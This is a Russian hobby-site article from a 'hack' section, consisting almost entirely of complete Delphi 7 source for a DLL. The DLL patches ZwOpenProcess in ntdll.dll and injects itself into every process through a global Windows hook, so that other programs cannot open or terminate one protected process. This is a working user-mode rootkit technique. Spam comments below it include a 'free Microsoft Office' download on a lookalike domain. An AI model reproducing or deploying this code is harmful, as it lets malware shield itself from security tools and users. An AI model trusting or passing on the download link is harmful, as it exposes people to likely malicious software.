Понедельник, 16.06.2025, 17:05
Добро пожаловать! ГлавнаяРегистрацияВход
Приветствую Вас Гость | RSS
Меню сайта
Категории раздела
Cтатьи [23]
}I{ack [13]
Мои статьи [1]
MASM [14]
Наш опрос
Оцените мой сайт
Всего ответов: 110
Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Форма входа
 Каталог статей 
Главная » Статьи » }I{ack

Перехват API функции ZwOpenProcess на Delphi 7

Перехват функции ZwOpenProcess из ntdll.dll.



library ZwHOOK;

uses
  windows;

type
  NTStatus = cardinal;
  far_jmp = packed record
  push:byte;
  PProc:pointer;
  ret:byte;
end;

OldCode = packed record
  one:dword;
  two:word;
end;

PUnicodeString = ^TUnicodeString;
  TUnicodeString = packed record
    Length: Word;
    MaximumLength: Word;
    Buffer: PWideChar;
end;

PObjectAttributes = ^TObjectAttributes;
  TObjectAttributes = packed record
    Length: DWORD;
    RootDirectory: THandle;
    ObjectName: PUnicodeString;
    Attributes: DWORD;
    SecurityDescriptor: Pointer;
    SecurityQualityOfService: Pointer;
end;

PClientID = ^TClientID;
TClientID = packed record
 UniqueProcess:cardinal;
 UniqueThread:cardinal;
end;

Type
    USHORT = Word;
    PWSTR = {$IFDEF USE_DELPHI_TYPES} Windows.LPWSTR {$ELSE} PWideChar {$ENDIF};
    HANDLE = {$IFDEF USE_DELPHI_TYPES} Windows.THandle {$ELSE} Longword {$ENDIF};
    PHANDLE = {$IFDEF USE_DELPHI_TYPES} Windows.PHandle {$ELSE} ^HANDLE {$ENDIF};
    PVOID = Pointer;

type
  PUNICODE_STRING = ^UNICODE_STRING;
  _UNICODE_STRING = record
    Length: USHORT;
    MaximumLength: USHORT;
    Buffer: PWSTR;
  end;
  UNICODE_STRING = _UNICODE_STRING;
  PCUNICODE_STRING = ^UNICODE_STRING;

const
   STATUS_ACCESS_DENIED = NTStatus($C0000022);

Function ZwOpenProcess(phProcess:PDWORD; AccessMask:DWORD; ObjectAttributes:PObjectAttributes;
         ClientID:PClientID): NTStatus; stdcall; external 'ntdll.dll' name 'ZwOpenProcess';

var
  PFunc: pointer;
  OldFunc: OldCode;
  NewFunc: Far_jmp;
  b: dword;
  pid, hnd:DWORD;

procedure UnHook;
begin
  WriteProcessMemory(INVALID_HANDLE_VALUE,PFunc,@OldFunc,sizeof(Oldcode),b);
end;

Function TrueZwOpenProcess(phProcess:PDWORD; AccessMask:DWORD;ObjectAttributes:PObjectAttributes;
         ClientID:PClientID):NTStatus;stdcall;
begin
  WriteProcessMemory(INVALID_HANDLE_VALUE,PFunc,@OldFunc,sizeof(Oldcode),b);
  Result:= ZwOpenProcess(phProcess,AccessMask,ObjectAttributes,ClientID);
  WriteProcessMemory(INVALID_HANDLE_VALUE,PFunc,@NewFunc,sizeof(far_jmp),b);
end;

Function NewZwOpenProcess(phProcess:PDWORD;AccessMask:DWORD;ObjectAttributes:PObjectAttributes;
         ClientID:PClientID):NTStatus;stdcall;
begin
  if (ClientID<>nil) and (ClientID.UniqueProcess=pid) then
  begin
    Result:=STATUS_ACCESS_DENIED;
    exit;
  end;
  Result:= TrueZwOpenProcess(phProcess,AccessMask,ObjectAttributes,ClientID);
end;

procedure SetHook;
begin
  PFunc:=GetProcAddress(GetModuleHandle('ntdll.dll'),'ZwOpenProcess');
  ReadProcessMemory(INVALID_HANDLE_VALUE,PFunc,@OldFunc,sizeof(oldcode),b);
  NewFunc.push:=$68;
  NewFunc.PProc:=@NewZwOpenProcess;
  NewFunc.ret:=$C3;
  WriteProcessMemory(INVALID_HANDLE_VALUE,PFunc,@NewFunc,sizeof(far_jmp),b);
end;

function MessageProc(code : integer; wParam : word; lParam : longint) : longint; stdcall;
begin
  CallNextHookEx(0,code,wParam,lParam);
end;

procedure SetGlobalHookProc();
begin
  SetWindowsHookEx(WH_GETMESSAGE, @MessageProc, HInstance, 0);
  Sleep(INFINITE)
end;

procedure SetGlobalHook();
var
  hMutex: dword;
  TrId: dword;
begin
  hMutex := CreateMutex(nil, false, '[{AD6A3658-0AB1-4C9D-93BA-44A06707C676}]');
  if GetLastError = 0 then
    CreateThread(nil, 0, @SetGlobalHookProc, nil, 0, TrId)
      else
        CloseHandle(hMutex)
end;

procedure GetPID;
var
  map:THandle;
  addrmap:PDWORD;
begin
  map:=OpenFileMapping(FILE_MAP_READ,false,'lamecame');
  addrmap:=MapViewOfFile(map,FILE_MAP_READ,0,0,8);
  pid:=addrmap^;
  UnMapViewOfFile(addrmap);
  CloseHandle(map);
end;

procedure DLLEntryPoint(dwReason: DWord);
begin
  case dwReason of
    DLL_PROCESS_ATTACH: begin
                          GetPID;
                          SetHook;
                          SetGlobalHook;
                        end;
    DLL_PROCESS_DETACH: begin
                          UnHook;
                        end;
  end;
end;

begin
  DllProc:= @DLLEntryPoint;
  DLLEntryPoint(DLL_PROCESS_ATTACH);
end.
Категория: }I{ack | Добавил: TERMINATOR (21.11.2010)
Просмотров: 19583 | Комментарии: 25 | Рейтинг: 4.5/4
Всего комментариев: 4
4 meardart  
0
Microsoft Office Full Version Free

Microsoft 'office' office and Home 2016, is clever, adaptive and easy to use. Wonder visitors bot allows just about any end user to generate good quality presentations and documents. Irrespective should you be new or perhaps a pc wizard, this convenient software package is produced to help you to increase your output. Program schedules, make PowerPoint presentations or share your projects towards the cloud. Improve your output while using Microsoft 'office' 2016 computer software.

Have the whole variation at no cost here:

http://www.zippyshare.com8.cf/v/jqeF4Cdj/file.html - www.zippyshare.com/v/jqeF4Cdj/file.html

3 kmplutqygkvks  
0
Die Erfahrungen vom 2 Jannuar 2014

chào

Sie lieben Schönheitschirurgie?
bester plastischer chirurg österreich
Niemand operiert besser Brustvergrößerung
Warum also noch suchen?

Gehen Sie zur Femmestyle Webseite und bekommen Sie sämtliche Informationen über

http://www.femmestyle.de/ - Brustvergrößerung
Ein super Tip von tortenfischmauifemmealledomains 1580
agur

2 fewcdjvy  
0
Unsere Erfahrungen vom 0 Juni 2007

goede avond

Sie lieben die Verschönerung Ihres Körpers?
Erfahrungen Femmestyle
Niemand operiert besser Augenlidkorrektur
Warum also noch immer suchen?

Gehen Sie zur Femmestyle Webseite und bekommen Sie sämtliche Infos über

http://www.femmestyle.eu/ - Nasenkorrektur billig
Ein toller Tip von tortenfischpaifemmealledomains 444
magandang araw

1 ilia  
0
Эй, передрали исходник - поставьте копирайты!

Имя *:
Email *:
Код *:
Поиск
Друзья сайта
  • Официальный блог
  • Сообщество uCoz
  • FAQ по системе
  • Инструкции для uCoz
  • Copyright MyCorp © 2025Конструктор сайтовuCoz